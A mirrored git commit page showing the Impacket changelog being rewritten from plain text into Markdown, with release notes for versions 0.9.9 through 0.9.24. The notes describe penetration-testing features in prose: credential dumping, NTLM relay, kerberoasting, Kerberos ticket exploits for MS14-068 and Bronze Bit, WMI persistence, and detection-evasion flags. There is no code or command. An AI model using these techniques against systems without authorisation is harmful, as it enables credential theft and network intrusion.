mirror of
https://github.com/fortra/impacket.git
synced 2026-11-07 09:26:09 -10:00
Merge branch 'master' into test-refactor-catchup
This commit is contained in:
commit
ee3d988b06
32 files changed
+2349
-550
No files matched your search
@@ -1,203 +0,0 @@
|
||||
Complete list of changes can be found at:
|
||||
https://github.com/SecureAuthCorp/impacket/commits/master
|
||||
|
||||
June 2016: 0.9.15:
|
||||
1) Library improvements
|
||||
* SMB3.create: define CreateContextsOffset and CreateContextsLength when applicable (by @rrerolle)
|
||||
* Retrieve user principal name from CCache file allowing to call any script with -k and just the target system (by @MrTchuss)
|
||||
* Packet fragmentation for DCE RPC layer mayor overhaul.
|
||||
* Improved pass-the-key attacks scenarios (by @skelsec)
|
||||
* Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to
|
||||
build the search filter yourself)
|
||||
* IPv6 improvements for DCERPC/LDAP and Kerberos
|
||||
|
||||
2) Examples improvements
|
||||
* Adding -dc-ip switch to all examples. It allows to specify what the IP for the domain is. It assumes the DC and KDC
|
||||
resides in the same server
|
||||
* secretsdump.py
|
||||
a. Adding support for Win2016 TP4 in LOCAL or -use-vss mode
|
||||
b. Adding -just-dc-user switch to download just a single user data (DRSUAPI mode only)
|
||||
c. Support for different ReplEpoch (DRSUAPI only)
|
||||
d. pwdLastSet is also included in the output file
|
||||
e. New structures/flags added for 2016 TP5 PAM support
|
||||
* wmiquery.py
|
||||
a. Adding -rpc-auth-level switch (by @gadio)
|
||||
* smbrelayx.py
|
||||
a. Added option to specify authentication status code to be sent to requesting client (by @mgeeky)
|
||||
b. Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol)
|
||||
|
||||
3) New Examples
|
||||
* GetUserSPNs.py: This module will try to find Service Principal Names that are associated with normal user account.
|
||||
This is part of the kerberoast attack researched by Tim Medin (@timmedin)
|
||||
* ntlmrelayx.py: smbrelayx.py on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc)
|
||||
(by @dirkjanm)
|
||||
|
||||
January 2016: 0.9.14:
|
||||
1) Library improvements
|
||||
* [MS-TSCH] - ATSVC, SASec and ITaskSchedulerService Interface implementations
|
||||
* [MS-DRSR] - Directory Replication Service DRSUAPI Interface implementation
|
||||
* Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved
|
||||
* Unicode support (optional) for the SMBv1 stack (by @rdubourguais)
|
||||
* NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie)
|
||||
* Kerberos support for TDS (MSSQL)
|
||||
* Extended present flags support on RadioTap class
|
||||
* Old DCERPC runtime code removed
|
||||
|
||||
2) Examples improvements
|
||||
* mssqlclient.py: Added Kerberos authentication support
|
||||
* atexec.py: It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2
|
||||
* smbrelayx.py:
|
||||
* If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default
|
||||
* Added -c option to execute custom commands in the target (by @byt3bl33d3r)
|
||||
* secretsdump.py:
|
||||
a. Active Directory hashes/Kerberos keys are dumped using [MS-DRSR] (IDL_DRSGetNCChanges method)
|
||||
by default. VSS method is still available by using the -use-vss switch
|
||||
b. Added -just-dc (Extract only NTDS.DIT NTLM Hashes and Kerberos) and
|
||||
-just-dc-ntlm ( only NTDS.DIT NTLM Hashes ) options
|
||||
c. Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. Use -resumefile option
|
||||
d. Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump ([MS-SAMR] 3.1.1.8.11.5)
|
||||
e. Add support for multiple password encryption keys (PEK) (by @s0crat)
|
||||
* goldenPac.py: Tests all DCs in domain and adding forest's enterprise admin group inside PAC
|
||||
|
||||
3) New examples
|
||||
* raiseChild.py: Child domain to forest privilege escalation exploit. Implements a child-domain to forest privilege
|
||||
escalation as detailed by Sean Metcalf at https://adsecurity.org/?p=1640
|
||||
* netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix)
|
||||
|
||||
May 2015: 0.9.13:
|
||||
1) Library improvements
|
||||
* Kerberos support for SMB and DCERPC featuring:
|
||||
a. kerberosLogin() added to SMBConnection (all SMB versions).
|
||||
b. Support for RPC_C_AUTHN_GSS_NEGOTIATE at the DCERPC layer. This will
|
||||
negotiate Kerberos. This also includes DCOM.
|
||||
c. Pass-the-hash, pass-the-ticket and pass-the-key support.
|
||||
d. Ccache support, compatible with Kerberos utilities (kinit, klist, etc).
|
||||
e. Support for RC4, AES128_CTS_HMAC_SHA1_96 and AES256_CTS_HMAC_SHA1_96 ciphers.
|
||||
f. Support for RPC_C_AUTHN_LEVEL_PKT_PRIVACY/RPC_C_AUTHN_LEVEL_PKT_INTEGRITY.
|
||||
* [MS-SAMR]: Supplemental Credentials support (used by secretsdump.py)
|
||||
* SMBSERVER improvements:
|
||||
a. SMB2 (2.002) dialect experimental support.
|
||||
b. Adding capability to export to John The Ripper format files
|
||||
* Library logging overhaul. Now there's a single logger called 'impacket'.
|
||||
|
||||
2) Examples improvements
|
||||
* Added Kerberos support to all modules (incl. pass-the-ticket/key)
|
||||
* Ported most of the modules to the new dcerpc.v5 runtime.
|
||||
* secretsdump.py: Added dumping Kerberos keys when parsing NTDS.DIT
|
||||
* smbserver.py: support for SMB2 (not enabled by default)
|
||||
* smbrelayx.py: Added support for MS15-027 exploitation.
|
||||
|
||||
3) New examples
|
||||
* goldenPac.py: MS14-068 exploit. Saves the golden ticket and also launches a
|
||||
psexec session at the target.
|
||||
* karmaSMB.py: SMB Server that answers specific file contents regardless of
|
||||
the SMB share and pathname requested.
|
||||
* wmipersist.py: Creates persistence over WMI. Adds/Removes WMI Event
|
||||
Consumers/Filters to execute VBS based on a WQL filter or timer specified.
|
||||
|
||||
July 2014: 0.9.12:
|
||||
1) The following protocols were added based on its standard definition
|
||||
* [MS-DCOM] - Distributed Component Object module Protocol (dcom.py)
|
||||
* [MS-OAUT] - OLE Automation Protocol (dcom/oaut.py)
|
||||
* [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol (dcom/wmi.py)
|
||||
|
||||
2) New examples
|
||||
a. wmiquery.py: executes WMI queries and get WMI object's descriptions.
|
||||
b. wmiexec.py: agent-less, semi-interactive shell using WMI.
|
||||
c. smbserver.py: quick an easy way to share files using the SMB protocol.
|
||||
|
||||
February 2014: 0.9.11:
|
||||
1) New RPC and NDR runtime (located at impacket.dcerpc.v5, old one still available)
|
||||
a. Support marshaling/unmarshaling for NDR20 and NDR64 (experimental)
|
||||
b. Support for RPC_C_AUTHN_NETLOGON (experimental)
|
||||
c. The following interface were developed based on its standard definition:
|
||||
* [MS-LSAD] - Local Security Authority (Domain Policy) Remote Protocol (lsad.py)
|
||||
* [MS-LSAT] - Local Security Authority (Translation Methods) Remote Protocol (lsat.py)
|
||||
* [MS-NRPC] - Netlogon Remote Protocol (nrpc.py)
|
||||
* [MS-RRP] - Windows Remote Registry Protocol (rrp.py)
|
||||
* [MS-SAMR] - Security Account Manager (SAM) Remote Protocol (samr.py)
|
||||
* [MS-SCMR] - Service Control Manager Remote Protocol (scmr.py)
|
||||
* [MS-SRVS] - Server Service Remote Protocol (srvs.py)
|
||||
* [MS-WKST] - Workstation Service Remote Protocol (wkst.py)
|
||||
* [MS-RPCE]-C706 - Remote Procedure Call Protocol Extensions (epm.py)
|
||||
* [MS-DTYP] - Windows Data Types (dtypes.py)
|
||||
Most of the DCE Calls have helper functions for easier use. Test cases added for
|
||||
all calls (check the test cases directory)
|
||||
2) ESE parser (Extensive Storage Engine) (ese.py)
|
||||
3) Windows Registry parser (winregistry.py)
|
||||
4) TDS protocol now supports SSL, can be used from mssqlclient
|
||||
5) Support for EAPOL, EAP and WPS decoders
|
||||
6) VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi
|
||||
7) New examples
|
||||
a. rdp_check.py: tests whether an account (pwd or hashes) is valid against an RDP server
|
||||
b. esentutl.py: ESE example to show how to interact with ESE databases (e.g. NTDS.dit)
|
||||
c. ntfs-read.py: mini shell for browsing an NTFS volume
|
||||
d. registry-read.py: Windows offline registry reader
|
||||
e. secretsdump.py: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS)
|
||||
|
||||
March 2013: 0.9.10:
|
||||
1) SMB version 2 and 3 protocol support ([MS-SMB2]). Signing supported, encryption for SMB3 still pending.
|
||||
2) Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent.
|
||||
It will pick the best SMB Version when connecting against the target. Check smbconnection.py for a list of available
|
||||
methods across all the protocols.
|
||||
3) Partial TDS implementation ([MS-TDS] & [MC-SQLR]) so we could talk with MSSQL Servers.
|
||||
4) Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server.
|
||||
5) DCERPC Endpoints' new calls
|
||||
a. EPM: lookup(): It can work as a general portmapper, or just to find specific interfaces/objects.
|
||||
6) New examples
|
||||
a. mssqlclient.py: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives
|
||||
you an SQL prompt for your pleasure.
|
||||
b. mssqlinstance.py: Lists the MS SQL instances running on a target machine.
|
||||
c. rpcdump.py: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the
|
||||
UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to
|
||||
develop new functionality to interact against a target interface.
|
||||
d. smbexec.py: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the
|
||||
technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also
|
||||
supports instantiating a local smbserver to receive the output of the commandos executed for those situations
|
||||
where no share is available on the other end.
|
||||
e. smbrelayx.py: It now also listens on port 80 and forwards/reflects the credentials accordingly.
|
||||
|
||||
And finally tons of fixes :).
|
||||
|
||||
July 2012: 0.9.9:
|
||||
1) Added 802.11 packets encoding/decoding
|
||||
2) Addition of support for IP6, ICMP6 and NDP packets. Addition of IP6_Address helper class.
|
||||
3) SMB/DCERPC
|
||||
a. GSS-API/SPNEGO Support.
|
||||
b. SPN support in auth blob.
|
||||
c. NTLM2 and NTLMv2 support.
|
||||
d. Default SMB port now 445. If *SMBSERVER is specified the library will try to resolve the netbios name.
|
||||
e. Pass the hash supported for SMB/DCE-RPC.
|
||||
f. IPv6 support for SMB/NMB/DCERPC.
|
||||
g. DOMAIN support for authentication.
|
||||
h. SMB signing support when server enforces it.
|
||||
i. DCERPC signing/sealing for all NTLM flavours.
|
||||
j. DCERPC transport now accepts an already established SMB connection.
|
||||
k. Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by
|
||||
forwarding named pipes requests).
|
||||
l. Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoidg Windows 7 nasty bug when that pipe's
|
||||
not functional.
|
||||
|
||||
4) DCERPC Endpoints' new calls
|
||||
a. SRVSVC: NetrShareEnum(Level1), NetrShareGetInfo(Level2), NetrServerGetInfo(Level2), NetrRemoteTOD(),
|
||||
NetprNameCanonicalize().
|
||||
b. SVCCTL: CloseServiceHandle(), OpenSCManagerW(), CreateServiceW(), StartServiceW(), OpenServiceW(), OpenServiceA(),
|
||||
StopService(), DeleteService(), EnumServicesStatusW(), QueryServiceStatus(), QueryServiceConfigW().
|
||||
c. WKSSVC: NetrWkstaTransportEnum().
|
||||
d. SAMR: OpenAlias(), GetMembersInAlias().
|
||||
e. LSARPC: LsarOpenPolicy2(), LsarLookupSids(), LsarClose().
|
||||
|
||||
5) New examples
|
||||
a. ifmap.py: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list
|
||||
of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is
|
||||
listed and/or listening.
|
||||
b. lookupsid.py: DCE/RPC lookup sid brute forcer example.
|
||||
c. opdump.py: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first
|
||||
256 operation numbers in turn and reports the outcome of each call.
|
||||
d. services.py: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST).
|
||||
e. test_wkssvc: DCE/RPC WKSSVC examples, playing with the functions Implemented.
|
||||
f. smbrelayx: Passes credentials to a third party server when doing MiTM.
|
||||
g. smbserver: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but
|
||||
not enforced. Tested under Windows, Linux and MacOS clients.
|
||||
h. smbclient.py: now supports history, new commands also added.
|
||||
i. psexec.py: Execute remote commands on Windows machines
|
||||
+561
@@ -0,0 +1,561 @@
|
||||
# ChangeLog
|
||||
|
||||
Project's main page at [www.secureauth.com](https://www.secureauth.com/labs/open-source-tools/impacket).
|
||||
|
||||
Complete list of changes can be found at:
|
||||
https://github.com/SecureAuthCorp/impacket/commits/master
|
||||
|
||||
## Unreleased changes
|
||||
|
||||
|
||||
## Impacket v0.9.24 (October 2021):
|
||||
|
||||
1. Library improvements
|
||||
* Fixed WMI objects parsing (@franferrax)
|
||||
* Added the RpcAddPrinterDriverEx method and related structures to [MS-RPRN]: Print System Remote Protocol (@cube0x0)
|
||||
* Initial implementation of [MS-PAR]: Print System Asynchronous Remote Protocol (@cube0x0)
|
||||
* Complying MS-RPCH with HTTP/1.1 (@mohemiv)
|
||||
* Added return of server time in case of Kerberos error (@ShutdownRepo and @Hackndo)
|
||||
|
||||
2. Examples improvements
|
||||
* [getST.py](examples/getST.py):
|
||||
* Added support for a custom additional ticket for S4U2Proxy (@ShutdownRepo)
|
||||
* [ntlmrelayx.py](examples/ntlmrelayx.py):
|
||||
* Added Negotiate authentication support to the HTTP server (@LZD-TMoreggia)
|
||||
* Added anonymous session handling in the HTTP server (@0xdeaddood)
|
||||
* Fixed error in ldapattack.py when trying to escalate with machine account (@Rcarnus)
|
||||
* Added the implementation of AD CS attack (@ExAndroidDev)
|
||||
* Disabled the anonymous logon in the SMB server (@ly4k)
|
||||
* [psexec.py](examples/psexec.py):
|
||||
* Fixed decoding problems on multi bytes characters (@p0dalirius)
|
||||
* [reg.py](examples/reg.py):
|
||||
* Implemented ADD and DELETE functionalities (@Gifts)
|
||||
* [secretsdump.py](examples/secretsdump.py):
|
||||
* Speeding up NTDS parsing (@skelsec)
|
||||
* [smbclient.py](examples/smbclient.py):
|
||||
* Added 'mget' command which allows the download of multiple files (@deadjakk)
|
||||
* Handling empty search count in FindFileBothDirectoryInfo (@martingalloar)
|
||||
* [smbpasswd.py](examples/smbpasswd.py):
|
||||
* Added the ability to change a user's password providing NTLM hashes (@snovvcrash)
|
||||
* [smbserver.py](examples/smbserver.py):
|
||||
* Added NULL SMBv2 client connection handling (@0xdeaddood)
|
||||
* Hardened path checks and Added TID checks (@martingalloar)
|
||||
* Added SMB2 support to QUERY_INFO Request and Enabled SMB_COM_FLUSH method (@0xdeaddood)
|
||||
* Added missing constant and structure for the QUERY_FS Information Level SMB_QUERY_FS_DEVICE_INFO (@martingalloar)
|
||||
* [wmipersist.py](examples/wmipersist.py):
|
||||
* Fixed VBA script execution and improved error checking (@franferrax)
|
||||
|
||||
3. New examples
|
||||
* [rbcd.py](examples/rbcd.py): Example script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer (@ShutdownRepo and @p0dalirius) (based on the previous work of @tothi and @NinjaStyle82)
|
||||
|
||||
As always, thanks a lot to all these contributors that make this library better every day (since last version):
|
||||
|
||||
@deadjakk @franferrax @cube0x0 @w0rmh013 @skelsec @mohemiv @LZD-TMoreggia @exploide @ShutdownRepo @Hackndo @snovvcrash @rmaksimov @Gifts @Rcarnus @ExAndroidDev @ly4k @p0dalirius
|
||||
|
||||
|
||||
## Impacket v0.9.23 (June 2021):
|
||||
|
||||
1. Library improvements
|
||||
* Support connect timeout with SMBTransport (@vruello)
|
||||
* Speeding up DcSync (@mohemiv)
|
||||
* Fixed Python3 issue when serving SOCKS5 requests (@agsolino)
|
||||
* Moved docker container to Python 3.8 (@mgallo)
|
||||
* Added basic GitHub Actions workflow (@mgallo)
|
||||
* Fixed Path Traversal vulnerabilities in `smbserver.py` - CVE-2021-31800 (@omriinbar AppSec Researcher at CheckMarx)
|
||||
* Fixed POST request processing in `httprelayserver.py` (@Rcarnus)
|
||||
* Added cat command to `smbclient.py` (@mxrch)
|
||||
* Added new features to the LDAP Interactive Shell to facilitate AD exploitation (@AdamCrosser)
|
||||
* Python 3.9 support (@meeuw and @cclauss)
|
||||
|
||||
2. Examples improvements
|
||||
* [addcomputer.py](examples/addcomputer.py):
|
||||
* Enable the machine account created via SAMR (@0xdeaddood)
|
||||
* [getST.py](examples/getST.py):
|
||||
* Added exploit for CVE-2020-17049 - Kerberos Bronze Bit attack (@jakekarnes42)
|
||||
* Compute NTHash and AESKey for the Bronze Bit attack automatically (@snovvcrash)
|
||||
* [ntlmrelayx.py](examples/ntlmrelayx.py):
|
||||
* Fixed target parsing error (@0xdeaddood)
|
||||
* [wmipersist.py](examples/wmipersist.py):
|
||||
* Fixed `filterBinding` error (@franferrax)
|
||||
* Added PowerShell option for semi-interactive shells in `dcomexec.py`, `smbexec.py`
|
||||
and `wmiexec.py` (@snovvcrash)
|
||||
* Added new parameter to select `COMVERSION` in `dcomexec.py`, `wmiexec.py`,
|
||||
`wmipersist.py` and `wmiquery.py` (@zexusx26)
|
||||
|
||||
3. New examples
|
||||
* [Get-GPPPassword.py](examples/Get-GPPPassword.py): This example extracts and decrypts
|
||||
Group Policy Preferences passwords using streams for treating files instead of mounting
|
||||
shares. Additionally, it can parse GPP XML files offline (@ShutdownRepo and @p0dalirius)
|
||||
* [smbpasswd.py](examples/smbpasswd.py): This script is an alternative to `smbpasswd` tool and
|
||||
intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR) (@snovvcrash)
|
||||
|
||||
As always, thanks a lot to all these contributors that make this library better every day (since last version):
|
||||
|
||||
@mpgn @vruello @mohemiv @jagotu @jakekarnes42 @snovvcrash @zexusx26 @omriinbar @Rcarnus @nuschpl @mxrch @ShutdownRepo @p0dalirius @AdamCrosser @franferrax @meeuw and @cclauss
|
||||
|
||||
|
||||
## Impacket v0.9.22 (November 2020):
|
||||
|
||||
1. Library improvements
|
||||
* Added implementation of RPC over HTTP v2 protocol (by @mohemiv).
|
||||
* Added `[MS-NSPI]`, `[MS-OXNSPI]` and `[MS-OXABREF]` protocol implementations (by @mohemiv).
|
||||
* Improved the multi-page results in LDAP queries (by @ThePirateWhoSmellsOfSunflowers).
|
||||
* NDR parser optimization (by @mohemiv).
|
||||
* Improved serialization of WMI method parameters (by @tshmul).
|
||||
* Introduce the `[MS-NLMP]` `2.2.2.10` `VERSION` structure in `NTLMAuthNegotiate` messages (by @franferrax).
|
||||
* Added some NETLOGON structs for `NetrServerPasswordSet2` (by @dirkjanm).
|
||||
* Python 3.8 support.
|
||||
|
||||
2. Examples improvements
|
||||
* [atexec.py](examples/atexec.py):
|
||||
* Fixed after MS patches related to RPC attacks (by @mohemiv).
|
||||
* [dpapi.py](examples/dpapi.py):
|
||||
* Added `-no-pass`, `pass-the-hash` and AES Key support for backup subcommand.
|
||||
* [GetNPUsers.py](examples/GetNPUsers.py):
|
||||
* Added ability to enumerate targets with Kerberos KRB5CC (by @rmaksimov).
|
||||
* [GetUserSPNs.py](examples/GetUserSPNs.py):
|
||||
* Added new features for kerberoasting (by @mohemiv).
|
||||
* [ntlmrelayx.py](examples/ntlmrelayx.py):
|
||||
* Added ability to relay on new Windows versions that have SMB guest access disabled by default.
|
||||
* Added option to specify the NTLM Server Challenge used when receiving a connection.
|
||||
* Added relaying to RPC support (by @mohemiv).
|
||||
* Implemented WCFRelayServer (by @cnotin).
|
||||
* Added Zerologon DCSync Relay Client (by @dirkjanm).
|
||||
* Fixed issue in ldapattack.py when relaying and creating computer in CN=Computers (by @Hackndo).
|
||||
* [rpcdump.py](examples/rpcdump.py):
|
||||
* Added RPC over HTTP v2 support (by @mohemiv).
|
||||
* [secretsdump.py](examples/secretsdump.py):
|
||||
* Added ability to specifically delete a shadow based on its ID (by @phefley).
|
||||
* Dump plaintext machine account password when dumping the local registry secrets(by @dirkjanm).
|
||||
|
||||
3. New examples
|
||||
- [exchanger.py](examples/exchanger.py): A tool for connecting to MS Exchange via
|
||||
RPC over HTTP v2 (by @mohemiv).
|
||||
- [rpcmap.py](examples/rpcmap.py): Scan for listening DCE/RPC interfaces (by @mohemiv).
|
||||
|
||||
As always, thanks a lot to all these contributors that make this library better every day (since last version):
|
||||
@mohemiv @mpgn @Romounet @ThePirateWhoSmellsOfSunflowers @rmaksimov @fuzzKitty @tshmul @spinenkoia @AaronRobson @ABCIFOGeowi40 @cclauss @cnotin @5alt @franferrax @Dliv3 @dirkjanm @Mr-Gag @vbersier @phefley @Hackndo
|
||||
|
||||
|
||||
## Impacket v0.9.21 (March 2020):
|
||||
|
||||
1. Library improvements
|
||||
* New methods into `CCache` class to import/export kirbi (`KRB-CRED`) formatted tickets (by @Zer1t0).
|
||||
* Add `FSCTL_SRV_ENUMERATE_SNAPSHOTS` functionality to `SMBConnection` (by @rxwx).
|
||||
* Changes in NetBIOS classes in `nmb.py` (`select()` by `poll()` read from socket) (by @cnotin).
|
||||
* Timestamped logging added.
|
||||
* Interactive shell to perform LDAP operations (by @mlefebvre).
|
||||
* Added two DCE/RPC calls in `tsch.py` (by @mohemiv).
|
||||
* Single-source the version number and standardize on semantic + pre-release + local versioning (by @jsherwood0).
|
||||
* Added implementation for keytab files (by @kcirtapw).
|
||||
* Added SMB 3.1.1 support for Client SMB Connections.
|
||||
|
||||
2. Examples improvements
|
||||
* [smbclient.py](examples/smbclient.py):
|
||||
* List the VSS snapshots for a specified path (by @rxwx).
|
||||
* [GetUserSPNs.py](examples/GetUserSPNs.py):
|
||||
* Added delegation information associated with accounts (by @G0ldenGunSec).
|
||||
* [dpapi.py](examples/dpapi.py):
|
||||
* Added more functions to decrypt masterkeys based on SID + hashes/key. Also support supplying hashes instead of the password for decryption(by @dirkjanm).
|
||||
* Pass the hash support for backup key retrieval (by @imaibou).
|
||||
* Added feature to decrypt a user's masterkey using the MS-BKRP (by @imaibou).
|
||||
* [raiseChild.py](examples/raiseChild.py):
|
||||
* Added a new flag to specify the RID of a user to dump credentials (by @0xdeaddood).
|
||||
* Added flags to bypass badly made detection use cases (by @MaxNad):
|
||||
* [smbexec.py](examples/smbexec.py):
|
||||
* Possibility to rename the PSExec uploaded binary name with the `-remote-binary-name` flag.
|
||||
* [psexec.py](examples/psexec.py):
|
||||
* Possibility to use another service name with the `-service-name` flag.
|
||||
* [ntlmrelayx.py](examples/ntlmrelayx.py):
|
||||
* Added a flag to use a SID as the escalate user for delegation attacks (by @0xe7).
|
||||
* Support for dumping LAPS passwords (by @praetorian-adam-crosser).
|
||||
* Added LDAP interactive mode that allow an attacker to manually perform basic operations
|
||||
like creating a new user, adding a user to a group , dump the AD, etc. (by @mlefebvre).
|
||||
* Support for multiple relays through one SMB connection (by @0xdeaddood).
|
||||
* Added support for dumping gMSA passwords (by @cube0x0).
|
||||
* [ticketer.py](examples/ticketer.py):
|
||||
* Added an option to use the SPNs keys from a keytab for a silver ticket(by @kcirtapw)
|
||||
|
||||
3. New Examples
|
||||
- [addcomputer.py](examples/addcomputer.py): Allows add a computer to a domain using LDAP
|
||||
or SAMR (SMB) (by @jagotu)
|
||||
- [ticketConverter.py](examples/ticketConverter.py): This script converts kirbi files,
|
||||
commonly used by mimikatz, into ccache files used by Impacket, and vice versa (by @Zer1t0).
|
||||
- [findDelegation.py](examples/findDelegation.py): Simple script to quickly list all
|
||||
delegation relationships (unconstrained, constrained, resource-based constrained) in
|
||||
an AD environment (by @G0ldenGunSec).
|
||||
|
||||
As always, thanks a lot to all these contributors that make this library better every day (since last version):
|
||||
|
||||
@jagotu, @Zer1t0 ,@rxwx, @mpgn, @danhph, @awsmhacks, @slasyz, @cnotin, @exploide, @G0ldenGunSec, @dirkjanm, @0xdeaddood, @MaxNad, @imaibou, @BarakSilverfort, @0xe7, @mlefebvre, @rmaksimov, @praetorian-adam-crosser, @jsherwood0, @mohemiv, @justin-p, @cube0x0, @spinenkoia, @kcirtapw, @MrAnde7son, @fridgehead, @MarioVilas.
|
||||
|
||||
|
||||
## Impacket v0.9.20 (September 2019):
|
||||
|
||||
1. Library improvements
|
||||
* Python 3.6 support! This is the first release supporting Python 3.x so please issue tickets
|
||||
whenever you find something not working as expected. Libraries and examples should be fully
|
||||
functional.
|
||||
* Test coverage [improvements](https://github.com/SecureAuthCorp/impacket/pull/540) by @infinnovation-dev
|
||||
* Anonymous SMB 2.x Connections are not encrypted anymore (by @cnotin)
|
||||
* Support for [multiple PEKs](https://github.com/SecureAuthCorp/impacket/pull/618) when decrypting Windows 2016 DIT files (by @mikeryan)
|
||||
|
||||
2. Examples improvements
|
||||
* [ntlmrelayx.py](examples/ntlmrelayx.py):
|
||||
* [CVE-2019-1019](https://github.com/SecureAuthCorp/impacket/pull/635): Bypass SMB singing for unpatched (by @msimakov)
|
||||
* Added [POC](https://github.com/SecureAuthCorp/impacket/pull/637) code for CVE-2019-1040 (by @dirkjanm)
|
||||
* Added NTLM relays leveraging [Webdav](https://github.com/SecureAuthCorp/impacket/pull/652) authentications (by @salu90)
|
||||
|
||||
3. New Examples
|
||||
* [kintercept.py](examples/kintercept.py): A tool for intercepting krb5 connections and for
|
||||
testing KDC handling S4U2Self with unkeyed checksum (by @iboukris)
|
||||
|
||||
As always, thanks a lot to all these contributors that make this library better every day (since last version):
|
||||
|
||||
@infinnovation-dev, @cnotin, @mikeryan, @SR4ven, @cclauss, @skorov, @msimakov, @dirkjanm, @franferrax, @iboukris, @n1ngod, @c0d3z3r0, @MrAnde7son.
|
||||
|
||||
|
||||
## Impacket v0.9.19 (April 2019):
|
||||
|
||||
1. Library improvements
|
||||
* [[MS-EVEN]](impacket/dcerpc/v5/even.py) Interface implementation (Initial - by @MrAnde7son )
|
||||
|
||||
2. Examples improvements
|
||||
* [ntlmrelayx.py](examples/ntlmrelayx.py):
|
||||
* Socks local admin check (by @imaibou)
|
||||
* Add Resource Based Delegation features (by @dirkjanm)
|
||||
* [smbclient.py](examples/smbclient.py):
|
||||
* Added ability to create/remove mount points to exploit James Forshaw's
|
||||
[Abusing Mount Points over the SMB Protocol](https://tyranidslair.blogspot.com/2018/12/abusing-mount-points-over-smb-protocol.html) technique (by @Qwokka)
|
||||
* [GetST.py](examples/getST.py):
|
||||
* Added resource-based constrained delegation support to S4U (@eladshamir)
|
||||
* [GetNPUsers.py](examples/GetNPUsers.py):
|
||||
* Added hashcat/john format and users file input (by @Zer1t0)
|
||||
|
||||
As always, thanks a lot to all these contributors that make this library better every day (since last version):
|
||||
|
||||
@dirkjanm, @MrAnde7son, @ibo, @franferrax, @Qwokka, @CaledoniaProject , @eladshamir, @Zer1t0, @martingalloar, @muizzk, @Petraea, @SR4ven, @Fist0urs, @Zer1t0.
|
||||
|
||||
|
||||
## Impacket v0.9.18 (December 2018):
|
||||
|
||||
1. Library improvements
|
||||
* Replace unmaintained PyCrypto for pycryptodome (@dirkjanm)
|
||||
* Using cryptographically secure pseudo-random generators
|
||||
* Kerberos "no pre-auth and RC4" handling in GetKerberosTGT (by @qlemaire)
|
||||
* Test cases adjustments, travis and flake support (@cclauss)
|
||||
* Python3 test cases fixes (@eldipa)
|
||||
* Adding DPAPI / Vaults related structures and functions to decrypt secrets
|
||||
* [[MS-RPRN]](impacket/dcerpc/v5/rprn.py) Interface implementation (Initial)
|
||||
|
||||
2. Examples improvements
|
||||
* [ntlmrelayx.py](examples/ntlmrelayx.py):
|
||||
* Optimize ACL enumeration and improve error handling in ntlmrelayx LDAP attack (by @dirkjanm)
|
||||
* [secretsdump.py](examples/secretsdump.py):
|
||||
* Added dumping of machine account Kerberos keys (@dirkjanm). `DPAPI_SYSTEM` LSA Secret is now parsed and key contents are shown.
|
||||
* [GetUserSPNs.py](examples/GetUserSPNs.py):
|
||||
* Bugfixes and cross-domain support (@dirkjanm)
|
||||
|
||||
3. New Examples
|
||||
* [dpapi.py](examples/dpapi.py): Allows decrypting vaults, credentials and masterkeys protected by DPAPI. Domain backup key support added by @MrAnde7son
|
||||
|
||||
As always, thanks a lot to all these contributors that make this library better every day (since last version):
|
||||
|
||||
@dirkjanm, @MrAnde7son, @franferrax, @MrRobot86, @qlemaire, @cauan, @eldipa.
|
||||
|
||||
|
||||
## Impacket v0.9.17 (May 2018):
|
||||
|
||||
1. Library improvements
|
||||
* New `[MS-PAC]` [Implementation](impacket/krb5/pac.py).
|
||||
* [LDAP engine](impacket/ldap): Added extensibleMatch string filter parsing, simple
|
||||
paging support and handling of unsolicited notification (by @kacpern)
|
||||
* [ImpactDecoder](impacket/ImpactDecoder.py): Add `EAPOL`, `BOOTP` and `DHCP` packet
|
||||
decoders (by Michael Niewoehner)
|
||||
* [Kerberos engine](impacket/krb5): `DES-CBC-MD5` support to kerberos added (by @skelsec)
|
||||
* [SMB3 engine](https://github.com/SecureAuthCorp/impacket/commit/f62fc5c3946430374f92404e892f8c48943d411c): If target server supports SMB >= 3, encrypt packets by default.
|
||||
* Initial `[MS-DHCPM]` and `[MS-EVEN6]` Interface implementation by @MrAnde7son
|
||||
* Major improvements to the [NetBIOS layer](https://github.com/SecureAuthCorp/impacket/commit/0808e45b796741aea4162bd756e3f54522e8045b).
|
||||
More use of [structure.py](impacket/structure.py) in there.
|
||||
* [MQTT](https://github.com/SecureAuthCorp/impacket/commit/8cef002928ca52be4e9476a87a54d836b5efa81e) Protocol Implementation and example.
|
||||
* Tox/Coverage Support added, test cases moved to its own directory. Major overhaul.
|
||||
* Many fixes and improvements in Kerberos, SMB and DCERPC (too much to name in a few lines).
|
||||
|
||||
2. Examples improvements
|
||||
* [GetUserSPNs.py](examples/GetUserSPNs.py):
|
||||
* `-request-user` parameter added. Requests STs for the SPN associated to the user
|
||||
